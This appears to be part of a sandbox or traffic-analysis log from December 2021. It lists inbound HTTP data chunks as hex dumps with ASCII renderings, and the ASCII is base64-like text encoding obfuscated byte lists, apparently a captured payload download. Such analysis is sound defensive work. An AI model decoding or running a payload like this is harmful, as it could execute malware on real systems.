73 59 44 4e 47 4c 47 42 47 52 43 78 67 4d 55 49 73 59 45 5a 47 4c 47 42 
Data Ascii: RixgQ0IsYDVGLGAyNyxgRkQsYENELGBBRSxgNjcsYEJGLGBBNyxgRjAsYEM2LGBBRixgRkIsYEVCLG
BGRixgRTYsYEJGLGBDRSxgNEYsYEZELGBFNixgQkYsYDJFLGAyRCxgQ0EsYDgyLGBDQixgQkYsYDg1LG
AzOSxgRjgsYDY3LGBDMyxgMzksYEY4LGAzMyxgOEUsYDNFLGBGRSxgNjMsYDdFLGBDMyxgNUYsYDNGLG
BGRCxgMUIsYEZGLGB

2021-12-02 20:47:22 UTC 241 IN Data Raw: 4e 79 78 67 51 6b 59 73 59 45 51 35 4c 47 42 42 52 69 78 67 4f 55 59 73 59 45 5a 46 4c 47 41 7a 52 43 78 67 
52 6b 59 73 59 45 4e 45 4c 47 41 33 52 69 78 67 52 6a 51 73 59 45 52 47 4c 47 42 47 51 53 78 67 51 55 59 73 59 45 5a 
44 4c 47 42 44 52 53 78 67 51 6b 59 73 59 45 51 32 4c 47 41 78 52 69 78 67 4f 44 51 73 59 45 4d 78 4c 47 42 47 52 53 
78 67 52 54 59 73 59 45 4a 44 4c 47 41 32 4e 43 78 67 52 6b 51 73 59 45 51 33 4c 47 41 33 4e 69 78 67 4e 55 55 73 59 
45 5a 43 4c 47 41 31 51 69 78 67 52 6a 45 73 59 45 52 42 4c 47 41 7a 52 69 78 67 52 6b 55 73 59 45 46 47 4c 47 41 79 
52 43 78 67 4e 45 55 73 59 45 51 79 4c 47 42 47 52 69 78 67 52 6b 49 73 59 44 56 43 4c 47 42 47 52 69 78 67 52 45 45 
73 59 44 64 47 4c 47 42 46 52 53 78 67 51 6b 59 73 59 45 59 32 4c 47 41 
Data Ascii: NyxgQkYsYEQ5LGBBRixgOUYsYEZFLGAzRCxgRkYsYENELGA3RixgRjQsYERGLGBGQSxgQUYsYEZDLG
BDRSxgQkYsYEQ2LGAxRixgODQsYEMxLGBGRSxgRTYsYEJDLGA2NCxgRkQsYEQ3LGA3NixgNUUsYEZCLG
A1QixgRjEsYERBLGAzRixgRkUsYEFGLGAyRCxgNEUsYEQyLGBGRixgRkIsYDVCLGBGRixgREEsYDdGLG
BFRSxgQkYsYEY2LGA

2021-12-02 20:47:22 UTC 256 IN Data Raw: 4c 47 42 47 4e 69 78 67 52 45 49 73 59 44 63 32 4c 47 42 47 4e 43 78 67 52 45 45 73 59 45 46 47 4c 47 42 47 
52 69 78 67 4d 55 49 73 59 45 5a 44 4c 47 42 43 4e 69 78 67 51 6b 59 73 59 45 4e 47 4c 47 42 46 52 69 78 67 52 6b 55 
73 59 44 46 43 4c 47 42 47 52 43 78 67 51 7a 6b 73 59 45 51 35 4c 47 41 79 52 69 78 67 4e 7a 41 73 59 44 68 45 4c 47 
41 33 52 69 78 67 4f 54 63 73 59 45 52 47 4c 47 42 46 4e 53 78 67 52 6a 63 73 59 44 6c 47 4c 47 42 47 51 79 78 67 52 4
5 55 73 59 45 4a 47 4c 47 41 7a 4d 53 78 67 52 54 45 73 59 44 52 43 4c 47 42 45 4f 53 78 67 51 6a 51 73 59 45 4a 47 4c 
47 42 43 4d 69 78 67 4f 44 4d 73 59 45 56 47 4c 47 42 46 52 69 78 67 4f 44 67 73 59 44 42 46 4c 47 42 47 52 53 78 67 4f 
45 49 73 59 45 59 7a 4c 47 42 43 51 69 78 67 52 6b 59 73 59 44 52 
Data Ascii: LGBGNixgREIsYDc2LGBGNCxgREEsYEFGLGBGRixgMUIsYEZDLGBCNixgQkYsYENGLGBFRixgRkUsYD
FCLGBGRCxgQzksYEQ5LGAyRixgNzAsYDhELGA3RixgOTcsYERGLGBFNSxgRjcsYDlGLGBGQyxgREUsYE
JGLGAzMSxgRTEsYDRCLGBEOSxgQjQsYEJGLGBCMixgODMsYEVGLGBFRixgODgsYDBFLGBGRSxgOEIsYE
YzLGBCQixgRkYsYDR

2021-12-02 20:47:22 UTC 272 IN Data Raw: 4c 47 42 43 52 69 78 67 4e 7a 4d 73 59 45 5a 43 4c 47 41 78 52 69 78 67 52 6b 55 73 59 44 4a 46 4c 47 42 46 
4f 53 78 67 4d 55 59 73 59 45 59 77 4c 47 41 34 52 69 78 67 4e 45 59 73 59 45 56 46 4c 47 42 47 51 53 78 67 4d 6b 59 
73 59 44 5a 46 4c 47 41 33 4d 69 78 67 4d 6a 49 73 59 45 5a 47 4c 47 42 47 4f 53 78 67 4d 45 55 73 59 44 6b 30 4c 47 
41 78 4d 53 78 67 51 54 41 73 59 45 5a 44 4c 47 41 77 52 53 78 67 52 6b 59 73 59 45 59 7a 4c 47 41 31 52 69 78 67 52 6
b 55 73 59 45 4a 43 4c 47 42 42 4e 53 78 67 52 6b 59 73 59 45 59 31 4c 47 41 33 52 69 78 67 52 6a 6b 73 59 45 56 43 4c 
47 42 47 52 43 78 67 4d 45 59 73 59 44 4e 46 4c 47 41 78 4e 43 78 67 4f 54 63 73 59 45 4e 47 4c 47 42 47 4f 43 78 67 4e 
45 59 73 59 44 4e 43 4c 47 42 46 52 69 78 67 52 6b 4d 73 59 44 5a 
Data Ascii: LGBCRixgNzMsYEZCLGAxRixgRkUsYDJFLGBFOSxgMUYsYEYwLGA4RixgNEYsYEVFLGBGQSxgMkYsYD
ZFLGA3MixgMjIsYEZGLGBGOSxgMEUsYDk0LGAxMSxgQTAsYEZDLGAwRSxgRkYsYEYzLGA1RixgRkUsYE
JCLGBBNSxgRkYsYEY1LGA3RixgRjksYEVCLGBGRCxgMEYsYDNFLGAxNCxgOTcsYENGLGBGOCxgNEYsYD
NCLGBFRixgRkMsYDZ

2021-12-02 20:47:22 UTC 288 IN Data Raw: 4c 47 41 31 4f 43 78 67 4d 55 59 73 59 45 5a 44 4c 47 41 33 4f 53 78 67 51 7a 67 73 59 44 68 43 4c 47 41 7a 
52 53 78 67 52 6b 4d 73 59 44 5a 45 4c 47 42 47 52 69 78 67 4f 54 51 73 59 44 64 47 4c 47 41 79 52 43 78 67 52 6b 51 
73 59 45 51 33 4c 47 42 47 52 69 78 67 52 45 49 73 59 44 64 47 4c 47 42 47 4e 53 78 67 51 6a 63 73 59 45 59 79 4c 47 
42 43 51 69 78 67 4f 45 45 73 59 45 55 31 4c 47 42 43 4e 43 78 67 4e 30 55 73 59 44 51 35 4c 47 42 42 4e 79 78 67 4f 55 
49 73 59 45 52 47 4c 47 41 77 52 69 78 67 52 45 51 73 59 45 5a 44 4c 47 42 46 4e 69 78 67 4e 44 67 73 59 45 55 78 4c 4
7 42 46 52 43 78 67 52 6b 51 73 59 44 41 32 4c 47 42 46 4f 53 78 67 4e 30 59 73 59 45 59 34 4c 47 41 77 4e 79 78 67 4e 
45 51 73 59 44 49 33 4c 47 41 31 4d 43 78 67 4d 45 49 73 59 45 4a 
Data Ascii: LGA1OCxgMUYsYEZDLGA3OSxgQzgsYDhCLGAzRSxgRkMsYDZELGBGRixgOTQsYDdGLGAy
RCxgRkQsYEQ3LGBGRixgREIsYDdGLGBGNSxgQjcsYEYyLGBCQixgOEEsYEU1LGBCNCxgN0UsYDQ5LGBB
NyxgOUIsYERGLGAwRixgREQsYEZDLGBFNixgNDgsYEUxLGBFRCxgRkQsYDA2LGBFOSxgN0YsYEY4LGAw
NyxgNEQsYDI3LGA1MCxgMEIsYEJ

2021-12-02 20:47:22 UTC 304 IN Data Raw: 4c 47 42 47 52 43 78 67 4e 54 4d 73 59 44 64 46 4c 47 42 46 4e 53 78 67 51 6b 59 73 59 45 59 32 4c 47 41 33 
51 69 78 67 52 6b 49 73 59 45 56 47 4c 47 41 30 4e 79 78 67 52 44 59 73 59 44 46 47 4c 47 41 33 52 69 78 67 51 7a 63 
73 59 45 4e 46 4c 47 42 44 51 69 78 67 51 6b 59 73 59 44 41 30 4c 47 41 79 52 69 78 67 52 6b 59 73 59 45 59 30 4c 47 
42 43 51 69 78 67 52 6b 59 73 59 45 59 30 4c 47 41 7a 4e 79 78 67 4e 45 45 73 59 44 64 47 4c 47 41 35 4e 79 78 67 51 6
b 59 73 59 45 56 43 4c 47 41 33 52 69 78 67 52 6b 59 73 59 45 49 31 4c 47 42 47 51 79 78 67 4f 54 63 73 59 45 52 45 4c 
47 41 35 51 53 78 67 4e 44 55 73 59 44 56 44 4c 47 41 35 4d 43 78 67 51 6b 51 73 59 45 49 31 4c 47 41 77 51 79 78 67 
4e 30 59 73 59 45 4d 35 4c 47 42 46 4d 69 78 67 4e 6b 55 73 59 45 45 
Data Ascii: LGBGRCxgNTMsYDdFLGBFNSxgQkYsYEY2LGA3QixgRkIsYEVGLGA0NyxgRDYsYDFGLGA3RixgQzcsYE
NFLGBDQixgQkYsYDA0LGAyRixgRkYsYEY0LGBCQixgRkYsYEY0LGAzNyxgNEEsYDdGLGA5NyxgQkYsYE
VCLGA3RixgRkYsYEI1LGBGQyxgOTcsYERELGA5QSxgNDUsYDVDLGA5MCxgQkQsYEI1LGAwQyxgN0YsYE
M5LGBFMixgNkUsYEE

2021-12-02 20:47:22 UTC 320 IN Data Raw: 4c 47 42 46 52 69 78 67 4e 7a 59 73 59 45 51 33 4c 47 41 31 4e 79 78 67 4e 30 55 73 59 44 56 45 4c 47 41 33 
4e 43 78 67 4e 7a 41 73 59 45 59 79 4c 47 41 31 52 69 78 67 52 6b 55 73 59 44 68 42 4c 47 42 45 52 69 78 67 4d 7a 4d 
73 59 45 5a 45 4c 47 41 32 52 69 78 67 4e 30 59 73 59 44 6c 47 4c 47 41 31 52 69 78 67 52 54 63 73 59 44 6c 47 4c 47 
42 47 4e 79 78 67 4d 30 49 73 59 45 59 34 4c 47 41 35 4e 69 78 67 4e 44 51 73 59 45 55 32 4c 47 42 43 52 69 78 67 52 6
a 6b 73 59 45 46 47 4c 47 41 31 4d 79 78 67 52 6b 51 73 59 44 41 78 4c 47 41 33 4f 43 78 67 52 54 55 73 59 45 51 33 4c 
47 42 42 4e 53 78 67 4e 54 63 73 59 45 4a 46 4c 47 41 30 4e 53 78 67 4d 6b 4d 73 59 45 59 35 4c 47 41 30 4e 79 78 67 
4f 44 63 73 59 44 4e 45 4c 47 42 47 52 43 78 67 52 54 4d 73 59 44 51 
Data Ascii: LGBFRixgNzYsYEQ3LGA1NyxgN0UsYDVELGA3NCxgNzAsYEYyLGA1RixgRkUsYDhBLGBERixgMzMsYE
ZELGA2RixgN0YsYDlGLGA1RixgRTcsYDlGLGBGNyxgM0IsYEY4LGA5NixgNDQsYEU2LGBCRixgRjksYEFGLGA1Myxg
RkQsYDAxLGA3OCxgRTUsYEQ3LGBBNSxgNTcsYEJFLGA0NSxgMkMsYEY5LGA0NyxgODcsYDNELGBGRCxg
RTMsYDQ
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2021-12-02 20:47:22 UTC 336 IN Data Raw: 4c 47 41 78 4f 53 78 67 52 6a 55 73 59 45 59 33 4c 47 42 44 4e 79 78 67 4e 54 45 73 59 44 46 47 4c 47 42 43 
52 69 78 67 4d 54 63 73 59 45 5a 45 4c 47 42 47 52 69 78 67 4e 7a 4d 73 59 44 67 79 4c 47 42 47 4d 79 78 67 4e 54 63 
73 59 45 51 7a 4c 47 42 47 4e 79 78 67 52 6b 59 73 59 44 49 30 4c 47 42 46 4d 53 78 67 52 6b 45 73 59 44 67 79 4c 47 
42 45 52 53 78 67 52 6b 59 73 59 44 5a 43 4c 47 42 46 4f 53 78 67 4f 55 51 73 59 44 6c 47 4c 47 41 79 4d 53 78 67 4e 7a 
67 73 59 45 56 47 4c 47 42 46 4f 43 78 67 52 55 59 73 59 45 5a 47 4c 47 41 35 4e 43 78 67 51 6b 55 73 59 45 4a 47 4c 4
7 41 30 51 69 78 67 52 6a 41 73 59 45 5a 46 4c 47 41 32 4e 79 78 67 52 6b 45 73 59 45 5a 45 4c 47 41 33 4e 79 78 67 51 
54 45 73 59 45 59 78 4c 47 41 33 52 43 78 67 4f 54 63 73 59 45 5a 
Data Ascii: LGAxOSxgRjUsYEY3LGBDNyxgNTEsYDFGLGBCRixgMTcsYEZELGBGRixgNzMsYDgyLGBGMyxgNTcsYE
QzLGBGNyxgRkYsYDI0LGBFMSxgRkEsYDgyLGBERSxgRkYsYDZCLGBFOSxgOUQsYDlGLGAyMSxgNzgsYE
VGLGBFOCxgRUYsYEZGLGA5NCxgQkUsYEJGLGA0QixgRjAsYEZFLGA2NyxgRkEsYEZELGA3NyxgQTEsYE
YxLGA3RCxgOTcsYEZ

2021-12-02 20:47:22 UTC 352 IN Data Raw: 4c 47 42 47 52 69 78 67 4d 7a 4d 73 59 45 5a 46 4c 47 41 35 51 69 78 67 4f 44 4d 73 59 45 4d 35 4c 47 42 44 
4d 69 78 67 4e 55 59 73 59 45 52 45 4c 47 41 77 4d 53 78 67 52 6a 45 73 59 45 46 47 4c 47 41 79 4d 53 78 67 4e 54 6b 
73 59 45 59 35 4c 47 41 30 52 69 78 67 51 55 55 73 59 45 5a 46 4c 47 42 42 4f 43 78 67 4e 30 59 73 59 44 4a 47 4c 47 
42 47 52 43 78 67 4f 54 63 73 59 45 5a 47 4c 47 42 43 51 69 78 67 52 6b 59 73 59 45 59 77 4c 47 41 31 4e 79 78 67 52 6
a 6b 73 59 44 49 77 4c 47 41 34 4e 69 78 67 52 54 4d 73 59 45 51 30 4c 47 42 45 52 69 78 67 52 6b 4d 73 59 45 4e 47 4c 
47 41 77 4f 53 78 67 4e 6a 45 73 59 45 5a 44 4c 47 41 30 4f 53 78 67 4f 44 41 73 59 45 59 78 4c 47 41 35 51 69 78 67 52 
6b 59 73 59 45 49 7a 4c 47 42 47 52 69 78 67 52 55 51 73 59 44 52 
Data Ascii: LGBGRixgMzMsYEZFLGA5QixgODMsYEM5LGBDMixgNUYsYERELGAwMSxgRjEsYEFGLGAyMSxgNTksYE
Y5LGA0RixgQUUsYEZFLGBBOCxgN0YsYDJGLGBGRCxgOTcsYEZGLGBCQixgRkYsYEYwLGA1NyxgRjksYD
IwLGA4NixgRTMsYEQ0LGBERixgRkMsYENGLGAwOSxgNjEsYEZDLGA0OSxgODAsYEYxLGA5QixgRkYsYE
IzLGBGRixgRUQsYDR

2021-12-02 20:47:22 UTC 368 IN Data Raw: 4c 47 41 77 51 79 78 67 51 54 63 73 59 45 59 79 4c 47 41 33 52 69 78 67 4e 44 6b 73 59 44 41 33 4c 47 42 42 
4e 53 78 67 4e 30 59 73 59 44 46 47 4c 47 41 33 4f 53 78 67 51 7a 55 73 59 45 52 47 4c 47 42 47 52 53 78 67 4d 30 49 
73 59 45 4e 45 4c 47 41 33 52 69 78 67 4f 54 59 73 59 45 5a 46 4c 47 42 42 4d 69 78 67 4d 30 59 73 59 45 59 35 4c 47 
42 46 52 69 78 67 52 6a 67 73 59 44 42 47 4c 47 41 33 51 79 78 67 4d 54 67 73 59 44 41 7a 4c 47 42 43 4d 53 78 67 52 4
4 45 73 59 44 6c 47 4c 47 42 44 51 53 78 67 4d 44 41 73 59 44 46 44 4c 47 41 34 4d 43 78 67 4d 30 59 73 59 44 42 47 4c 
47 41 77 4d 43 78 67 52 6b 55 73 59 45 49 79 4c 47 42 42 4e 79 78 67 52 6b 59 73 59 45 59 31 4c 47 41 30 4f 53 78 67 
52 6b 45 73 59 44 5a 43 4c 47 42 47 52 53 78 67 51 6b 55 73 59 44 64 
Data Ascii: LGAwQyxgQTcsYEYyLGA3RixgNDksYDA3LGBBNSxgN0YsYDFGLGA3OSxgQzUsYERGLGBGRSxgM0IsYE
NELGA3RixgOTYsYEZFLGBBMixgM0YsYEY5LGBFRixgRjgsYDBGLGA3QyxgMTgsYDAzLGBCMSxgRDEsYD
lGLGBDQSxgMDAsYDFDLGA4MCxgM0YsYDBGLGAwMCxgRkUsYEIyLGBBNyxgRkYsYEY1LGA0OSxgRkEsYD
ZCLGBGRSxgQkUsYDd

2021-12-02 20:47:22 UTC 384 IN Data Raw: 4c 47 41 78 4e 79 78 67 4d 6a 4d 73 59 44 6b 35 4c 47 42 47 52 43 78 67 4e 30 59 73 59 45 4a 44 4c 47 42 47 
4d 79 78 67 52 6a 49 73 59 44 4a 43 4c 47 42 43 51 79 78 67 52 6b 4d 73 59 45 4d 33 4c 47 42 43 52 53 78 67 52 6b 51 
73 59 45 56 43 4c 47 41 33 4e 79 78 67 52 44 49 73 59 44 64 47 4c 47 42 47 4d 69 78 67 4f 55 59 73 59 45 5a 44 4c 47 
42 45 4e 69 78 67 52 6b 59 73 59 45 55 34 4c 47 42 43 52 69 78 67 4e 6b 4d 73 59 45 59 79 4c 47 42 42 51 53 78 67 51 6
b 59 73 59 45 56 45 4c 47 42 44 4d 43 78 67 4f 54 51 73 59 45 4d 31 4c 47 41 78 4e 69 78 67 51 6a 49 73 59 44 49 35 4c 
47 42 42 52 43 78 67 52 6b 45 73 59 44 5a 47 4c 47 41 33 4e 79 78 67 4d 30 45 73 59 45 59 34 4c 47 41 35 52 69 78 67 
4d 6a 6b 73 59 44 63 31 4c 47 41 31 4f 53 78 67 52 6b 59 73 59 44 68 
Data Ascii: LGAxNyxgMjMsYDk5LGBGRCxgN0YsYEJDLGBGMyxgRjIsYDJCLGBCQyxgRkMsYEM3LGBCRSxgRkQsYE
VCLGA3NyxgRDIsYDdGLGBGMixgOUYsYEZDLGBENixgRkYsYEU4LGBCRixgNkMsYEYyLGBBQSxgQkYsYE
VELGBDMCxgOTQsYEM1LGAxNixgQjIsYDI5LGBBRCxgRkEsYDZGLGA3NyxgM0EsYEY4LGA5RixgMjksYD
c1LGA1OSxgRkYsYDh

2021-12-02 20:47:22 UTC 400 IN Data Raw: 4c 47 41 34 51 69 78 67 51 55 51 73 59 45 59 35 4c 47 42 47 52 53 78 67 52 6a 55 73 59 44 6c 45 4c 47 41 33 
52 53 78 67 52 6a 49 73 59 45 5a 47 4c 47 42 44 4f 53 78 67 4d 6a 59 73 59 44 4a 45 4c 47 42 47 52 53 78 67 4f 55 45 73 
59 45 5a 47 4c 47 42 47 51 69 78 67 4d 55 59 73 59 44 64 47 4c 47 42 46 52 53 78 67 51 30 51 73 59 45 59 33 4c 47 42 
46 52 69 78 67 52 54 55 73 59 44 55 79 4c 47 42 42 52 69 78 67 51 6b 59 73 59 45 56 44 4c 47 42 42 4e 79 78 67 4e 30 
59 73 59 44 63 7a 4c 47 41 79 52 69 78 67 52 44 6b 73 59 44 63 30 4c 47 42 43 4d 43 78 67 4f 45 49 73 59 44 46 46 4c 4
7 42 47 52 69 78 67 4f 45 45 73 59 44 4e 47 4c 47 42 47 4d 79 78 67 51 55 59 73 59 45 5a 45 4c 47 42 43 4e 79 78 67 52 
44 49 73 59 45 52 47 4c 47 42 46 4d 69 78 67 52 6a 63 73 59 44 64 
Data Ascii: LGA4QixgQUQsYEY5LGBGRSxgRjUsYDlELGA3RSxgRjIsYEZGLGBDOSxgMjYsYDJELGBGRSxgOUEsYE
ZGLGBGQixgMUYsYDdGLGBFRSxgQ0QsYEY3LGBFRixgRTUsYDUyLGBBRixgQkYsYEVDLGBBNyxgN0YsYD
czLGAyRixgRDksYDc0LGBCMCxgOEIsYDFFLGBGRixgOEEsYDNGLGBGMyxgQUYsYEZELGBCNyxgRDIsYE
RGLGBFMixgRjcsYDd

2021-12-02 20:47:22 UTC 416 IN Data Raw: 4c 47 41 32 51 79 78 67 52 54 63 73 59 44 6c 45 4c 47 41 32 52 43 78 67 51 6b 4d 73 59 45 59 7a 4c 47 42 45 
52 69 78 67 52 6b 59 73 59 44 4d 31 4c 47 41 33 52 69 78 67 52 44 67 73 59 44 64 46 4c 47 42 47 51 53 78 67 52 6b 4d 
73 59 44 6c 47 4c 47 42 47 52 43 78 67 4e 30 49 73 59 45 5a 47 4c 47 41 33 4e 43 78 67 52 6b 59 73 59 44 6c 45 4c 47 
42 43 52 43 78 67 52 45 59 73 59 44 68 42 4c 47 41 77 4d 79 78 67 4f 54 41 73 59 44 4e 45 4c 47 42 43 4d 69 78 67 51 6
a 45 73 59 44 6c 45 4c 47 41 33 4e 79 78 67 4e 30 55 73 59 44 45 31 4c 47 41 33 4d 69 78 67 4f 45 51 73 59 44 64 47 4c 
47 42 46 4e 79 78 67 52 55 59 73 59 45 5a 43 4c 47 41 30 4e 79 78 67 52 6b 4d 73 59 44 59 78 4c 47 42 46 4f 53 78 67 
4e 55 59 73 59 45 49 34 4c 47 42 47 52 43 78 67 52 55 59 73 59 44 41 
Data Ascii: LGA2QyxgRTcsYDlELGA2RCxgQkMsYEYzLGBERixgRkYsYDM1LGA3RixgRDgsYDdFLGBGQSxgRkMsYD
lGLGBGRCxgN0IsYEZGLGA3NCxgRkYsYDlELGBCRCxgREYsYDhBLGAwMyxgOTAsYDNELGBCMixgQjEsYD
lELGA3NyxgN0UsYDE1LGA3MixgOEQsYDdGLGBFNyxgRUYsYEZCLGA0NyxgRkMsYDYxLGBFOSxgNUYsYE
I4LGBGRCxgRUYsYDA

2021-12-02 20:47:22 UTC 432 IN Data Raw: 4c 47 41 30 4e 53 78 67 4e 6b 51 73 59 45 5a 47 4c 47 41 32 4e 69 78 67 52 6b 45 73 59 45 5a 45 4c 47 42 43 
4e 79 78 67 51 54 45 73 59 44 63 33 4c 47 42 47 52 69 78 67 4e 30 49 73 59 44 64 42 4c 47 42 46 4e 79 78 67 4f 44 51 
73 59 44 6b 79 4c 47 41 34 4e 43 78 67 4e 30 59 73 59 44 45 78 4c 47 41 34 4d 53 78 67 52 6b 59 73 59 44 4d 31 4c 47 
42 42 4f 53 78 67 52 45 51 73 59 44 6c 47 4c 47 41 30 51 53 78 67 52 44 6b 73 59 44 67 34 4c 47 41 34 52 69 78 67 52 5
4 6b 73 59 45 5a 45 4c 47 41 32 52 69 78 67 4e 54 45 73 59 44 56 47 4c 47 41 33 52 69 78 67 4d 45 55 73 59 45 4d 78 4c 
47 41 33 52 43 78 67 4e 45 55 73 59 44 64 47 4c 47 42 47 52 69 78 67 4d 44 63 73 59 45 4a 47 4c 47 41 7a 4f 53 78 67 
51 7a 67 73 59 45 59 79 4c 47 41 32 51 69 78 67 52 6b 4d 73 59 44 46 
Data Ascii: LGA0NSxgNkQsYEZGLGA2NixgRkEsYEZELGBCNyxgQTEsYDc3LGBGRixgN0IsYDdBLGBFNyxgODQsYD
kyLGA4NCxgN0YsYDExLGA4MSxgRkYsYDM1LGBBOSxgREQsYDlGLGA0QSxgRDksYDg4LGA4RixgRTksYE
ZELGA2RixgNTEsYDVGLGA3RixgMEUsYEMxLGA3RCxgNEUsYDdGLGBGRixgMDcsYEJGLGAzOSxgQzgsYE
YyLGA2QixgRkMsYDF
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2021-12-02 20:47:22 UTC 448 IN Data Raw: 4c 47 41 30 51 69 78 67 4e 30 59 73 59 44 68 47 4c 47 42 47 52 43 78 67 4e 55 59 73 59 45 5a 46 4c 47 41 30 
4e 79 78 67 52 6b 45 73 59 44 5a 47 4c 47 41 77 4e 43 78 67 51 6b 55 73 59 44 63 7a 4c 47 42 45 4e 53 78 67 4e 7a 6b 
73 59 45 56 45 4c 47 41 31 52 69 78 67 4e 44 63 73 59 45 49 32 4c 47 42 47 4e 43 78 67 51 55 59 73 59 45 5a 45 4c 47 
41 7a 52 69 78 67 52 45 55 73 59 44 52 44 4c 47 42 45 4d 69 78 67 4e 55 59 73 59 45 59 7a 4c 47 41 7a 52 69 78 67 52 6
b 45 73 59 45 5a 43 4c 47 42 43 51 79 78 67 51 6a 51 73 59 45 4d 7a 4c 47 41 31 4d 43 78 67 52 45 45 73 59 45 55 33 4c 
47 41 77 52 69 78 67 52 55 51 73 59 45 4a 44 4c 47 42 47 52 69 78 67 51 54 63 73 59 45 55 7a 4c 47 42 47 52 43 78 67 
4e 55 59 73 59 45 59 78 4c 47 41 31 4e 79 78 67 4e 30 55 73 59 45 59 
Data Ascii: LGA0QixgN0YsYDhGLGBGRCxgNUYsYEZFLGA0NyxgRkEsYDZGLGAwNCxgQkUsYDczLGBENSxgNzksYE
VELGA1RixgNDcsYEI2LGBGNCxgQUYsYEZELGAzRixgREUsYDRDLGBEMixgNUYsYEYzLGAzRixgRkEsYE
ZCLGBCQyxgQjQsYEMzLGA1MCxgREEsYEU3LGAwRixgRUQsYEJDLGBGRixgQTcsYEUzLGBGRCxgNUYsYE
YxLGA1NyxgN0UsYEY

2021-12-02 20:47:22 UTC 464 IN Data Raw: 4c 47 41 78 4e 69 78 67 4e 44 45 73 59 45 51 32 4c 47 41 79 4e 43 78 67 4e 6b 45 73 59 44 5a 42 4c 47 41 7a 
51 69 78 67 4e 6b 59 73 59 45 5a 47 4c 47 42 43 4e 53 78 67 51 7a 67 73 59 44 64 47 4c 47 41 33 4e 69 78 67 4d 55 4d 
73 59 45 4e 47 4c 47 41 78 52 69 78 67 52 6b 59 73 59 45 59 32 4c 47 41 79 4d 79 78 67 4e 45 59 73 59 44 49 33 4c 47 
41 78 51 79 78 67 52 6b 4d 73 59 44 55 78 4c 47 42 46 4f 43 78 67 52 54 41 73 59 45 51 33 4c 47 42 47 52 43 78 67 52 6
a 51 73 59 45 46 43 4c 47 41 35 52 43 78 67 52 6a 51 73 59 45 4e 43 4c 47 42 43 52 69 78 67 52 54 63 73 59 44 63 33 4c 
47 41 32 51 69 78 67 52 6b 51 73 59 44 42 46 4c 47 42 43 51 53 78 67 4e 55 55 73 59 45 59 30 4c 47 41 32 52 69 78 67 
52 6b 51 73 59 44 5a 47 4c 47 41 34 4e 69 78 67 51 7a 41 73 59 44 56 
Data Ascii: LGAxNixgNDEsYEQ2LGAyNCxgNkEsYDZBLGAzQixgNkYsYEZGLGBCNSxgQzgsYDdGLGA3NixgMUMsYE
NGLGAxRixgRkYsYEY2LGAyMyxgNEYsYDI3LGAxQyxgRkMsYDUxLGBFOCxgRTAsYEQ3LGBGRCxgRjQsYE
FCLGA5RCxgRjQsYENCLGBCRixgRTcsYDc3LGA2QixgRkQsYDBFLGBCQSxgNUUsYEY0LGA2RixgRkQsYD
ZGLGA4NixgQzAsYDV

2021-12-02 20:47:22 UTC 480 IN Data Raw: 4c 47 42 44 4d 79 78 67 4d 44 63 73 59 44 64 43 4c 47 42 47 4e 53 78 67 4d 6b 59 73 59 44 46 45 4c 47 41 77 
4d 69 78 67 52 55 4d 73 59 44 5a 47 4c 47 42 46 4d 69 78 67 4f 44 45 73 59 44 6c 45 4c 47 42 47 51 79 78 67 52 6a 6b 
73 59 45 45 78 4c 47 41 77 4d 69 78 67 4e 54 63 73 59 45 49 77 4c 47 41 31 4e 79 78 67 4d 30 59 73 59 44 55 31 4c 47 
42 47 52 69 78 67 4f 44 55 73 59 44 46 45 4c 47 42 43 4d 43 78 67 51 30 59 73 59 44 41 77 4c 47 42 47 4e 69 78 67 52 4
4 63 73 59 45 5a 44 4c 47 41 7a 52 69 78 67 4e 30 59 73 59 44 6c 43 4c 47 41 33 4f 53 78 67 52 6b 45 73 59 44 42 43 4c 
47 41 33 52 69 78 67 52 54 45 73 59 45 59 32 4c 47 41 33 4e 79 78 67 4e 30 51 73 59 45 49 77 4c 47 41 33 52 69 78 67 
4e 54 41 73 59 45 5a 42 4c 47 42 42 4e 79 78 67 52 6b 59 73 59 44 5a 
Data Ascii: LGBDMyxgMDcsYDdCLGBGNSxgMkYsYDFELGAwMixgRUMsYDZGLGBFMixgODEsYDlELGBGQyxgRjksYE
ExLGAwMixgNTcsYEIwLGA1NyxgM0YsYDU1LGBGRixgODUsYDFELGBCMCxgQ0YsYDAwLGBGNixgRDcsYE
ZDLGAzRixgN0YsYDlCLGA3OSxgRkEsYDBCLGA3RixgRTEsYEY2LGA3NyxgN0QsYEIwLGA3RixgNTAsYE
ZBLGBBNyxgRkYsYDZ

2021-12-02 20:47:22 UTC 496 IN Data Raw: 4c 47 42 47 4e 79 78 67 4e 6a 67 73 59 45 59 78 4c 47 42 46 4e 69 78 67 52 44 63 73 59 45 45 78 4c 47 42 47 
4e 79 78 67 52 6b 55 73 59 44 45 34 4c 47 42 44 51 53 78 67 4e 6a 49 73 59 44 63 33 4c 47 42 45 52 53 78 67 4d 55 49 
73 59 45 55 7a 4c 47 42 43 52 43 78 67 52 54 55 73 59 45 52 47 4c 47 42 47 4e 43 78 67 4d 54 4d 73 59 44 55 31 4c 47 
42 47 51 53 78 67 52 45 49 73 59 45 5a 47 4c 47 41 35 4d 69 78 67 52 45 59 73 59 45 55 30 4c 47 41 35 52 69 78 67 52 6
a 49 73 59 45 52 47 4c 47 41 7a 51 69 78 67 52 6b 49 73 59 44 6b 33 4c 47 41 31 52 53 78 67 4e 6a 45 73 59 44 45 34 4c 
47 42 43 52 69 78 67 51 6b 49 73 59 44 4d 33 4c 47 41 34 51 79 78 67 52 45 59 73 59 45 55 35 4c 47 42 43 52 69 78 67 
52 6a 6b 73 59 44 63 31 4c 47 41 34 4d 69 78 67 4e 6a 45 73 59 44 52 
Data Ascii: LGBGNyxgNjgsYEYxLGBFNixgRDcsYEExLGBGNyxgRkUsYDE4LGBDQSxgNjIsYDc3LGBERSxgMUIsYE
UzLGBCRCxgRTUsYERGLGBGNCxgMTMsYDU1LGBGQSxgREIsYEZGLGA5MixgREYsYEU0LGA5RixgRjIsYE
RGLGAzQixgRkIsYDk3LGA1RSxgNjEsYDE4LGBCRixgQkIsYDM3LGA4QyxgREYsYEU5LGBCRixgRjksYDc1LGA4Mixg
NjEsYDR

2021-12-02 20:47:22 UTC 512 IN Data Raw: 4c 47 42 47 52 43 78 67 52 54 4d 73 59 44 46 46 4c 47 42 47 51 69 78 67 4e 6a 6b 73 59 45 55 7a 4c 47 42 45 
52 69 78 67 4e 30 49 73 59 45 56 43 4c 47 41 30 4d 69 78 67 51 7a 41 73 59 44 64 46 4c 47 41 30 51 79 78 67 4d 7a 6b 
